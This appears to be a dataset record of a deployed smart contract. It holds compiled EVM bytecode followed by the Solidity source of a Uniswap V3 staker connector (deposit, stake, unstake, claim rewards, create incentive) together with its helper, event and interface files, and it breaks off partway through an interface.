01b031682528101919091526040016000205460ff166115465760405162461bcd60e51b81526020600482015260036024820152624e504160e81b6044820152606401610604565b828181518110611558576115586129ca565b6020908102919091010151604051632e1b8c8760e21b81523360048201526001600160a01b039091169063b86e321c90602401602060405180830381600087803b1580156115a557600080fd5b505af11580156115b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115dd91906129e0565b6115e79083612a0f565b9150806115f381612a27565b9150506114ce565b508015610ba757606554610ba7906001600160a01b03163383612007565b6033546001600160a01b031633146116435760405162461bcd60e51b8152600401610604906128b5565b6001600160a01b0381166116695760405162461bcd60e51b81526004016106049061295f565b606880546001600160a01b0319166001600160a01b0383169081179091556040519081527f1e34d5ccce58f09245a2bad5c624be44ab55ebb7adac0424b52244c5db423d3490602001610666565b6033546001600160a01b031633146116e15760405162461bcd60e51b8152600401610604906128b5565b6001600160a01b0381166117075760405162461bcd60e51b81526004016106049061295f565b606b80546001600160a01b0319166001600160a01b0383169081179091556040519081527f3c864541ef71378c6229510ed90f376565ee42d9c5e0904a984a9e863e6db44f90602001610666565b6033546001600160a01b0316331461177f5760405162461bcd60e51b8152600401610604906128b5565b6001600160a01b0381166117e45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610604565b610f3d81611e9d565b606060405180604001604052806002815260200161063760f41b81525060746000846001600160a01b03166001600160a01b03168152602001908152602001600020600501604051806040016040528060018152602001602d60f81b815250856001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561188557600080fd5b505afa158015611899573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526118c19190810190612a42565b6040516020016118d49493929190612ad5565b604051602081830303815290604052905092915050565b6001600160a01b03811660009081526073602052604090205460ff166119395760405162461bcd60e51b8152602060048201526003602482015262434e4160e81b6044820152606401610604565b6001600160a01b03808316600090815260746020526040902080549091161561198a5760405162461bcd60e51b815260206004820152600360248201526204148560ec1b6044820152606401610604565b6068546000906119a2906001600160a01b0316611eef565b60405163485cc95560e01b81526001600160a01b03868116600483015285811660248301529192509082169063485cc95590604401600060405180830381600087803b1580156119f157600080fd5b505af1158015611a05573d6000803e3d6000fd5b505050506001820180546001600160a01b03199081166001600160a01b038481169190911790925583548116858316178455600284018054339216821790556066546040516322be59ef60e01b81526004810192909252909116906322be59ef90602401602060405180830381600087803b158015611a8357600080fd5b505af1158015611a97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abb91906129e0565b60038301556001600160a01b03818116600081815260766020908152604091829020805460ff19166001908117909155915191825286841693881692917f2f50e78ec41ff359ae53695bfffb5c9bae020d7db3779e5f666a3a020ef062b4910160405180910390a450505050565b6001600160a01b03831660009081526074602052604090206004015415611b785760405162461bcd60e51b815260206004820152600360248201526241484960e81b6044820152606401610604565b81611bab5760405162461bcd60e51b815260206004820152600360248201526243454960e81b6044820152606401610604565b607581604051611bbb9190612b8e565b9081526040519081900360200190205460ff1615611c015760405162461bcd60e51b815260206004820152600360248201526253415560e81b6044820152606401610604565b6001600160a01b0383166000908152607460209081526040909120600481018490558251611c379260059092019184019061236f565b506001607582604051611c4a9190612b8e565b908152604051908190036020019020805491151560ff19909216919091179055505050565b6001600160a01b03811660009081526073602052604090205460ff16611cbd5760405162461bcd60e51b8152602060048201526003602482015262434e4160e81b6044820152606401610604565b33600090815260746020526040902080546001600160a01b031615611d0a5760405162461bcd60e51b815260206004820152600360248201526204148560ec1b6044820152606401610604565b606760009054906101000a90046001600160a01b03166001600160a01b031663c198f8ba6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611d5a57600080fd5b505af1158015611d6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d929190612baa565b60028201805483546001600160a01b038087166001600160a01b031992831617865563ffffffff94909416600160a01b02166001600160c01b031990911617339081179091556066546040516322be59ef60e01b81529216916322be59ef91611e0c916004016001600160a01b0391909116815260200190565b602060405180830381600087803b158015611e2657600080fd5b505af1158015611e3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e5e91906129e0565b60038201556040516001600160a01b0383169033907fa58dadd5f62536e4d2da0263442da3015aa990b5f162b9c86cccc091f96a392e90600090a35050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528260601b60148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f09150506001600160a01b038116611f875760405162461bcd60e51b8152602060048201526016602482015275115490cc4c4d8dce8818dc99585d194819985a5b195960521b6044820152606401610604565b919050565b600054610100900460ff1680611fa5575060005460ff16155b611fc15760405162461bcd60e51b81526004016106049061297c565b600054610100900460ff16158015611fe3576000805461ffff19166101011790555b611feb612059565b611ff36120c3565b8015610f3d576000805461ff001916905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610c4c908490612123565b600054610100900460ff1680612072575060005460ff16155b61208e5760405162461bcd60e51b81526004016106049061297c565b600054610100900460ff16158015611ff3576000805461ffff19166101011790558015610f3d576000805461ff001916905550565b600054610100900460ff16806120dc575060005460ff16155b6120f85760405162461bcd60e51b81526004016106049061297c565b600054610100900460ff1615801561211a576000805461ffff19166101011790555b611ff333611e9d565b6000612178826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166121f59092919063ffffffff16565b805190915015610c4c57808060200190518101906121969190612bd0565b610c4c5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610604565b6060612204848460008561220e565b90505b9392505050565b60608247101561226f5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610604565b843b6122bd5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610604565b600080866001600160a01b031685876040516122d99190612b8e565b60006040518083038185875af1925050503d8060008114612316576040519150601f19603f3d011682016040523d82523d6000602084013e61231b565b606091505b509150915061232b828286612336565b979650505050505050565b60608315612345575081612207565b8251156123555782518084602001fd5b8160405162461bcd60e51b815260040161060491906128a2565b82805461237b90612924565b90600052602060002090601f01602090048101928261239d57600085556123e3565b82601f106123b657805160ff19168380011785556123e3565b828001600101855582156123e3579182015b828111156123e35782518255916020019190600101906123c8565b506123ef9291506123f3565b5090565b5b808211156123ef57600081556001016123f4565b60006020828403121561241a57600080fd5b5035919050565b6001600160a01b0381168114610f3d57600080fd5b60006020828403121561244857600080fd5b813561220781612421565b60005b8381101561246e578181015183820152602001612456565b83811115610c905750506000910152565b60008151808452612497816020860160208601612453565b601f01601f19169290920160200192915050565b6001600160a01b03888116825287811660208301528616604082015263ffffffff851660608201526080810184905260a0810183905260e060c082018190526000906124f99083018461247f565b9998505050505050505050565b6000806040838503121561251957600080fd5b823561252481612421565b9150602083013561253481612421565b809150509250929050565b8015158114610f3d57600080fd5b6000806040838503121561256057600080fd5b823561256b81612421565b915060208301356125348161253f565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156125ba576125ba61257b565b604052919050565b600067ffffffffffffffff8211156125dc576125dc61257b565b50601f01601f191660200190565b600082601f8301126125fb57600080fd5b813561260e612609826125c2565b612591565b81815284602083860101111561262357600080fd5b816020850160208301376000918101602001919091529392505050565b60008060006060848603121561265557600080fd5b833561266081612421565b925060208401359150604084013567ffffffffffffffff81111561268357600080fd5b61268f868287016125ea565b9150509250925092565b600080600080608085870312156126af57600080fd5b84356126ba81612421565b935060208501356126ca81612421565b925060408501359150606085013567ffffffffffffffff8111156126ed57600080fd5b6126f9878288016125ea565b91505092959194509250565b6000806040838503121561271857600080fd5b823561272381612421565b946020939093013593505050565b60008060008060008060c0878903121561274a57600080fd5b863561275581612421565b9550602087013561276581612421565b9450604087013561277581612421565b9350606087013561278581612421565b9250608087013561279581612421565b915060a08701356127a581612421565b809150509295509295509295565b600060208083850312156127c657600080fd5b823567ffffffffffffffff808211156127de57600080fd5b818501915085601f8301126127f257600080fd5b8135818111156128045761280461257b565b8060051b9150612815848301612591565b818152918301840191848101908884111561282f57600080fd5b938501935b83851015612859578435925061284983612421565b8282529385019390850190612834565b98975050505050505050565b60006020828403121561287757600080fd5b813567ffffffffffffffff81111561288e57600080fd5b61289a848285016125ea565b949350505050565b602081526000612207602083018461247f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526003908201526247544f60e81b604082015260600190565b60006020828403121561291957600080fd5b815161220781612421565b600181811c9082168061293857607f821691505b6020821081141561295957634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526003908201526220a4ad60e91b604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156129f257600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115612a2257612a226129f9565b500190565b6000600019821415612a3b57612a3b6129f9565b5060010190565b600060208284031215612a5457600080fd5b815167ffffffffffffffff811115612a6b57600080fd5b8201601f81018413612a7c57600080fd5b8051612a8a612609826125c2565b818152856020838501011115612a9f57600080fd5b612ab0826020830160208601612453565b95945050505050565b60008151612acb818560208601612453565b9290920192915050565b600085516020612ae88285838b01612453565b865491840191600090600181811c9080831680612b0657607f831692505b858310811415612b2457634e487b7160e01b85526022600452602485fd5b808015612b385760018114612b4957612b76565b60ff19851688528388019550612b76565b60008d81526020902060005b85811015612b6e5781548a820152908401908801612b55565b505083880195505b50505050506124f9612b888289612ab9565b87612ab9565b60008251612ba0818460208701612453565b9190910192915050565b600060208284031215612bbc57600080fd5b815163ffffffff8116811461220757600080fd5b600060208284031215612be257600080fd5b81516122078161253f56fea26469706673582212207333c0ae5d8bbf391585e46ff6826521940712bb7e1dfd5bafe0b4727ebcbb3064736f6c63430008090033 | [
7
] |
0xF33236F1122BFB02aAf73483e72B1Da9847C8510 | pragma solidity ^0.7.6;
pragma abicoder v2;
/**
* @title Uniswap v3.
* @dev Decentralized Exchange.
*/
import {TokenInterface} from "../../../common/interfaces.sol";
import "./interface.sol";
import {Helpers} from "./helpers.sol";
import {Events} from "./events.sol";
abstract contract UniswapResolver is Helpers, Events {
/**
* @dev Deposit NFT token
* @notice Transfer deposited NFT token
* @param _tokenId NFT LP Token ID
*/
function deposit(uint256 _tokenId)
external
payable
returns (string memory _eventName, bytes memory _eventParam)
{
if (_tokenId == 0) _tokenId = _getLastNftId(address(this));
nftManager.safeTransferFrom(
address(this),
address(staker),
_tokenId,
""
);
_eventName = "LogDeposit(uint256)";
_eventParam = abi.encode(_tokenId);
}
/**
* @dev Deposit and Stake NFT token
* @notice To Deposit and Stake NFT for Staking
* @param _rewardToken _rewardToken address
* @param _startTime stake start time
* @param _endTime stake end time
* @param _refundee refundee address
* @param _tokenId NFT LP token id
*/
function depositAndStake (
address _rewardToken,
uint256 _startTime,
uint256 _endTime,
address _refundee,
uint256 _tokenId
)
external
payable
returns (string memory _eventName, bytes memory _eventParam)
{
if (_tokenId == 0) _tokenId = _getLastNftId(address(this));
nftManager.safeTransferFrom(
address(this),
address(staker),
_tokenId,
""
);
address poolAddr = getPoolAddress(_tokenId);
IUniswapV3Pool pool = IUniswapV3Pool(poolAddr);
IUniswapV3Staker.IncentiveKey memory _key = IUniswapV3Staker
.IncentiveKey(
IERC20Minimal(_rewardToken),
pool,
_startTime,
_endTime,
_refundee
);
_stake(_tokenId, _key);
_eventName = "LogDepositAndStake(uint256,bytes32)";
_eventParam = abi.encode(_tokenId, keccak256(abi.encode(_key)));
}
/**
* @dev Deposit Transfer
* @notice Transfer deposited NFT token
* @param _tokenId NFT LP Token ID
* @param _to address to transfer
*/
function transferDeposit(uint256 _tokenId, address _to)
external
payable
returns (string memory _eventName, bytes memory _eventParam)
{
staker.transferDeposit(_tokenId, _to);
_eventName = "LogDepositTransfer(uint256,address)";
_eventParam = abi.encode(_tokenId, _to);
}
/**
* @dev Withdraw NFT LP token
* @notice Withdraw NFT LP token from staking pool
* @param _tokenId NFT LP Token ID
*/
function withdraw(uint256 _tokenId)
external
payable
returns (string memory _eventName, bytes memory _eventParam)
{
staker.withdrawToken(_tokenId, address(this), "");
_eventName = "LogWithdraw(uint256)";
_eventParam = abi.encode(_tokenId);
}
/**
* @dev Stake NFT LP token
* @notice Stake NFT LP Position
* @param _rewardToken _rewardToken address
* @param _startTime stake start time
* @param _endTime stake end time
* @param _refundee refundee address
* @param _tokenId NFT LP token id
*/
function stake (
address _rewardToken,
uint256 _startTime,
uint256 _endTime,
address _refundee,
uint256 _tokenId
)
external
payable
returns (string memory _eventName, bytes memory _eventParam)
{
address poolAddr = getPoolAddress(_tokenId);
IUniswapV3Pool pool = IUniswapV3Pool(poolAddr);
IUniswapV3Staker.IncentiveKey memory _key = IUniswapV3Staker
.IncentiveKey(
IERC20Minimal(_rewardToken),
pool,
_startTime,
_endTime,
_refundee
);
_stake(_tokenId, _key);
_eventName = "LogStake(uint256,bytes32)";
_eventParam = abi.encode(_tokenId, keccak256(abi.encode(_key)));
}
/**
* @dev Unstake NFT LP token
* @notice Unstake NFT LP Position
* @param _rewardToken _rewardToken address
* @param _startTime stake start time
* @param _endTime stake end time
* @param _refundee refundee address
* @param _tokenId NFT LP token id
*/
function unstake(
address _rewardToken,
uint256 _startTime,
uint256 _endTime,
address _refundee,
uint256 _tokenId
)
external
payable
returns (string memory _eventName, bytes memory _eventParam)
{
address poolAddr = getPoolAddress(_tokenId);
IUniswapV3Pool pool = IUniswapV3Pool(poolAddr);
IUniswapV3Staker.IncentiveKey memory _key = IUniswapV3Staker
.IncentiveKey(
IERC20Minimal(_rewardToken),
pool,
_startTime,
_endTime,
_refundee
);
_unstake(_key, _tokenId);
_eventName = "LogUnstake(uint256,bytes32)";
_eventParam = abi.encode(_tokenId, keccak256(abi.encode(_key)));
}
/**
* @dev Claim rewards
* @notice Claim rewards
* @param _rewardToken _rewardToken address
* @param _amount requested amount
*/
function claimRewards(
address _rewardToken,
uint256 _amount
)
external
payable
returns (string memory _eventName, bytes memory _eventParam)
{
uint256 rewards = _claimRewards(
IERC20Minimal(_rewardToken),
address(this),
_amount
);
_eventName = "LogRewardClaimed(address,uint256)";
_eventParam = abi.encode(_rewardToken, rewards);
}
/**
* @dev Create incentive
* @notice Create incentive
* @param _rewardToken _rewardToken address
* @param _length incentive length
* @param _refundee refundee address
* @param _poolAddr Uniswap V3 Pool address
* @param _reward reward amount
*/
function createIncentive(
address _rewardToken,
uint256 _length,
address _refundee,
address _poolAddr,
uint256 _reward
)
external
payable
returns (string memory _eventName, bytes memory _eventParam)
{
IUniswapV3Pool pool = IUniswapV3Pool(_poolAddr);
uint256 _startTime = block.timestamp;
uint256 _endTime = _startTime + _length;
IUniswapV3Staker.IncentiveKey memory _key = IUniswapV3Staker
.IncentiveKey(
IERC20Minimal(_rewardToken),
pool,
_startTime,
_endTime,
_refundee
);
if (_rewardToken != ethAddr) {
IERC20Minimal(_rewardToken).approve(address(staker), _reward);
}
staker.createIncentive(_key, _reward);
_eventName = "LogIncentiveCreated(bytes32,address,address,uint256,uint256,uint256)";
_eventParam = abi.encode(keccak256(abi.encode(_key)), _poolAddr, _refundee, _startTime, _endTime, _reward);
}
}
contract ConnectV2UniswapV3Staker is UniswapResolver {
string public constant name = "Uniswap-V3-Staker-v1.1";
}
pragma solidity ^0.7.0;
interface TokenInterface {
function approve(address, uint256) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
function balanceOf(address) external view returns (uint);
function decimals() external view returns (uint);
}
interface MemoryInterface {
function getUint(uint id) external returns (uint num);
function setUint(uint id, uint val) external;
}
interface InstaMapping {
function cTokenMapping(address) external view returns (address);
function gemJoinMapping(bytes32) external view returns (address);
}
interface AccountInterface {
function enable(address) external;
function disable(address) external;
function isAuth(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol';
import '@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol';
import '@uniswap/v3-periphery/contracts/interfaces/IMulticall.sol';
/// @title Uniswap V3 Staker Interface
/// @notice Allows staking nonfungible liquidity tokens in exchange for reward tokens
interface IUniswapV3Staker is IERC721Receiver, IMulticall {
/// @param rewardToken The token being distributed as a reward
/// @param pool The Uniswap V3 pool
/// @param startTime The time when the incentive program begins
/// @param endTime The time when rewards stop accruing
/// @param refundee The address which receives any remaining reward tokens when the incentive is ended
struct IncentiveKey {
IERC20Minimal rewardToken;
IUniswapV3Pool pool;
uint256 startTime;
uint256 endTime;
address refundee;
}
/// @notice The Uniswap V3 Factory
function factory() external view returns (IUniswapV3Factory);
/// @notice The nonfungible position manager with which this staking contract is compatible
function nonfungiblePositionManager() external view returns (INonfungiblePositionManager);
/// @notice The max duration of an incentive in seconds
function maxIncentiveDuration() external view returns (uint256);
/// @notice The max amount of seconds into the future the incentive startTime can be set
function maxIncentiveStartLeadTime() external view returns (uint256);
/// @notice Represents a staking incentive
/// @param incentiveId The ID of the incentive computed from its parameters
/// @return totalRewardUnclaimed The amount of reward token not yet claimed by users
/// @return totalSecondsClaimedX128 Total liquidity-seconds claimed, represented as a UQ32.128
/// @return numberOfStakes The count of deposits that are currently staked for the incentive
function incentives(bytes32 incentiveId)
external
view
returns (
uint256 totalRewardUnclaimed,
uint160 totalSecondsClaimedX128,
uint96 numberOfStakes
);
/// @notice Returns information about a deposited NFT
/// @return owner The owner of the deposited NFT
/// @return numberOfStakes Counter of how many incentives for which the liquidity is staked
/// @return tickLower The lower tick of the range
/// @return tickUpper The upper tick of the range
function deposits(uint256 tokenId)
external
view
returns (
address owner,
uint48 numberOfStakes,
int24 tickLower,
int24 tickUpper
);
/// @notice Returns information about a staked liquidity NFT
/// @param tokenId The ID of the staked token
/// @param incentiveId The ID of the incentive for which the token is staked
/// @return secondsPerLiquidityInsideInitialX128 secondsPerLiquidity represented as a UQ32.128
/// @return liquidity The amount of liquidity in the NFT as of the last time the rewards were computed
function stakes(uint256 tokenId, bytes32 incentiveId)
external
view
returns (uint160 secondsPerLiquidityInsideInitialX128, uint128 liquidity);
/// @notice Returns amounts of reward tokens owed to a given address according to the last time all stakes were updated
/// @param rewardToken The token for which to check rewards
/// @param owner The owner for which the rewards owed are checked
/// @return rewardsOwed The amount of the reward token claimable by the owner
function rewards(IERC20Minimal rewardToken, address owner) external view returns (uint256 rewardsOwed);
/// @notice Creates a new liquidity mining incentive program
/// @param key Details of the incentive to create
/// @param reward The amount of reward tokens to be distributed
function createIncentive(IncentiveKey memory key, uint256 reward) external;
/// @notice Ends an incentive after the incentive end time has passed and all stakes have been withdrawn
/// @param key Details of the incentive to end
/// @return refund The remaining reward tokens when the incentive is ended
function endIncentive(IncentiveKey memory key) external returns (uint256 refund);
/// @notice Transfers ownership of a deposit from the sender to the given recipient
/// @param tokenId The ID of the token (and the deposit) to transfer
/// @param to The new owner of the deposit
function transferDeposit(uint256 tokenId, address to) external;
/// @notice Withdraws a Uniswap V3 LP token `tokenId` from this contract to the recipient `to`
/// @param tokenId The unique identifier of an Uniswap V3 LP token
/// @param to The address where the LP token will be sent
/// @param data An optional data array that will be passed along to the `to` address via the NFT safeTransferFrom
function withdrawToken(
uint256 tokenId,
address to,
bytes memory data
) external;
/// @notice Stakes a Uniswap V3 LP token
/// @param key The key of the incentive for which to stake the NFT
/// @param tokenId The ID of the token to stake
function stakeToken(IncentiveKey memory key, uint256 tokenId) external;
/// @notice Unstakes a Uniswap V3 LP token
/// @param key The key of the incentive for which to unstake the NFT
/// @param tokenId The ID of the token to unstake
function unstakeToken(IncentiveKey memory key, uint256 tokenId) external;
/// @notice Transfers `amountRequested` of accrued `rewardToken` rewards from the contract to the recipient `to`
/// @param rewardToken The token being distributed as a reward
/// @param to The address where claimed rewards will be sent to
/// @param amountRequested The amount of reward tokens to claim. Claims entire reward amount if set to 0.
/// @return reward The amount of reward tokens claimed
function claimReward(
IERC20Minimal rewardToken,
address to,
uint256 amountRequested
) external returns (uint256 reward);
/// @notice Calculates the reward amount that will be received for the given stake
/// @param key The key of the incentive
/// @param tokenId The ID of the token
/// @return reward The reward accrued to the NFT for the given incentive thus far
function getRewardInfo(IncentiveKey memory key, uint256 tokenId)
external
returns (uint256 reward, uint160 secondsInsideX128);
/// @notice Event emitted when a liquidity mining incentive has been created
/// @param rewardToken The token being distributed as a reward
/// @param pool The Uniswap V3 pool
/// @param startTime The time when the incentive program begins
/// @param endTime The time when rewards stop accruing
/// @param refundee The address which receives any remaining reward tokens after the end time
/// @param reward The amount of reward tokens to be distributed
event IncentiveCreated(
IERC20Minimal indexed rewardToken,
IUniswapV3Pool indexed pool,
uint256 startTime,
uint256 endTime,
address refundee,
uint256 reward
);
/// @notice Event that can be emitted when a liquidity mining incentive has ended
/// @param incentiveId The incentive which is ending
/// @param refund The amount of reward tokens refunded
event IncentiveEnded(bytes32 indexed incentiveId, uint256 refund);
/// @notice Emitted when ownership of a deposit changes
/// @param tokenId The ID of the deposit (and token) that is being transferred
/// @param oldOwner The owner before the deposit was transferred
/// @param newOwner The owner after the deposit was transferred
event DepositTransferred(uint256 indexed tokenId, address indexed oldOwner, address indexed newOwner);
/// @notice Event emitted when a Uniswap V3 LP token has been staked
/// @param tokenId The unique identifier of an Uniswap V3 LP token
/// @param liquidity The amount of liquidity staked
/// @param incentiveId The incentive in which the token is staking
event TokenStaked(uint256 indexed tokenId, bytes32 indexed incentiveId, uint128 liquidity);
/// @notice Event emitted when a Uniswap V3 LP token has been unstaked
/// @param tokenId The unique identifier of an Uniswap V3 LP token
/// @param incentiveId The incentive in which the token is staking
event TokenUnstaked(uint256 indexed tokenId, bytes32 indexed incentiveId);
/// @notice Event emitted when a reward token has been claimed
/// @param to The address where claimed rewards were sent to
/// @param reward The amount of reward tokens claimed
event RewardClaimed(address indexed to, uint256 reward);
}
pragma solidity ^0.7.6;
pragma abicoder v2;
import {TokenInterface} from "../../../common/interfaces.sol";
import {DSMath} from "../../../common/math.sol";
import {Basic} from "../../../common/basic.sol";
import "./interface.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol";
abstract contract Helpers is DSMath, Basic {
/**
* @dev uniswap v3 NFT Position Manager & Swap Router
*/
INonfungiblePositionManager constant nftManager =
INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
IUniswapV3Staker constant staker =
IUniswapV3Staker(0x1f98407aaB862CdDeF78Ed252D6f557aA5b0f00d);
/**
* @dev Get Last NFT Index
* @param user: User address
*/
function _getLastNftId(address user)
internal
view
returns (uint256 tokenId)
{
uint256 len = nftManager.balanceOf(user);
tokenId = nftManager.tokenOfOwnerByIndex(user, len - 1);
}
function getPoolAddress(uint256 _tokenId)
internal
view
returns (address pool)
{
(bool success, bytes memory data) = address(nftManager).staticcall(
abi.encodeWithSelector(nftManager.positions.selector, _tokenId)
);
require(success, "fetching positions failed");
{
(, , address token0, address token1, uint24 fee, , , ) = abi.decode(
data,
(
uint96,
address,
address,
address,
uint24,
int24,
int24,
uint128
)
);
pool = PoolAddress.computeAddress(
nftManager.factory(),
PoolAddress.PoolKey({token0: token0, token1: token1, fee: fee})
);
}
}
function _stake(
uint256 _tokenId,
IUniswapV3Staker.IncentiveKey memory _incentiveId
) internal {
staker.stakeToken(_incentiveId, _tokenId);
}
function _unstake(
IUniswapV3Staker.IncentiveKey memory _key,
uint256 _tokenId
) internal {
staker.unstakeToken(_key, _tokenId);
}
function _claimRewards(
IERC20Minimal _rewardToken,
address _to,
uint256 _amountRequested
) internal returns (uint256 rewards) {
rewards = staker.claimReward(_rewardToken, _to, _amountRequested);
}
}
pragma solidity ^0.7.0;
contract Events {
event LogDeposit(uint256 tokenId);
event LogDepositAndStake(uint256 tokenId, bytes32 incentiveId);
event LogWithdraw(uint256 indexed tokenId);
event LogDepositTransfer(uint256 indexed tokenId, address to);
event LogStake(uint256 indexed tokenId, bytes32 incentiveId);
event LogUnstake(uint256 indexed tokenId, bytes32 incentiveId);
event LogRewardClaimed(
address indexed rewardToken,
uint256 amount
);
event LogIncentiveCreated(
bytes32 incentiveId,
address poolAddr,
address refundee,
uint256 startTime,
uint256 endTime,
uint256 reward
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title The interface for the Uniswap V3 Factory
/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
interface IUniswapV3Factory {
/// @notice Emitted when the owner of the factory is changed
/// @param oldOwner The owner before the owner was changed
/// @param newOwner The owner after the owner was changed
event OwnerChanged(address indexed oldOwner, address indexed newOwner);
/// @notice Emitted when a pool is created
/// @param token0 The first token of the pool by address sort order
/// @param token1 The second token of the pool by address sort order
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks
/// @param pool The address of the created pool
event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);
/// @notice Emitted when a new fee amount is enabled for pool creation via the factory
/// @param fee The enabled fee, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);
/// @notice Returns the current owner of the factory
/// @dev Can be changed by the current owner via setOwner
/// @return The address of the factory owner
function owner() external view returns (address);
/// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
/// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
/// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
/// @return The tick spacing
function feeAmountTickSpacing(uint24 fee) external view returns (int24);
/// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
/// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
/// @param tokenA The contract address of either token0 or token1
/// @param tokenB The contract address of the other token
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @return pool The pool address
function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);
/// @notice Creates a pool for the given two tokens and fee
/// @param tokenA One of the two tokens in the desired pool
/// @param tokenB The other of the two tokens in the desired pool
/// @param fee The desired fee for the pool
/// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
/// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
/// are invalid.
/// @return pool The address of the newly created pool
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
/// @notice Updates the owner of the factory
/// @dev Must be called by the current owner
/// @param _owner The new owner of the factory
function setOwner(address _owner) external;
/// @notice Enables a fee amount with the given tickSpacing
/// @dev Fee amounts may never be removed once enabled
/// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
/// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Minimal ERC20 interface for Uniswap
/// @notice Contains a subset of the full ERC20 interface that is used in Uniswap V3
interface IERC20Minimal {
/// @notice Returns the balance of a token
/// @param account The account for which to look up the number of tokens it has, i.e. its balance
/// @return The number of tokens held by the account
function balanceOf(address account) external view returns (uint256);
/// @notice Transfers the amount of token from the `msg.sender` to the recipient
/// @param recipient The account that will receive the amount transferred
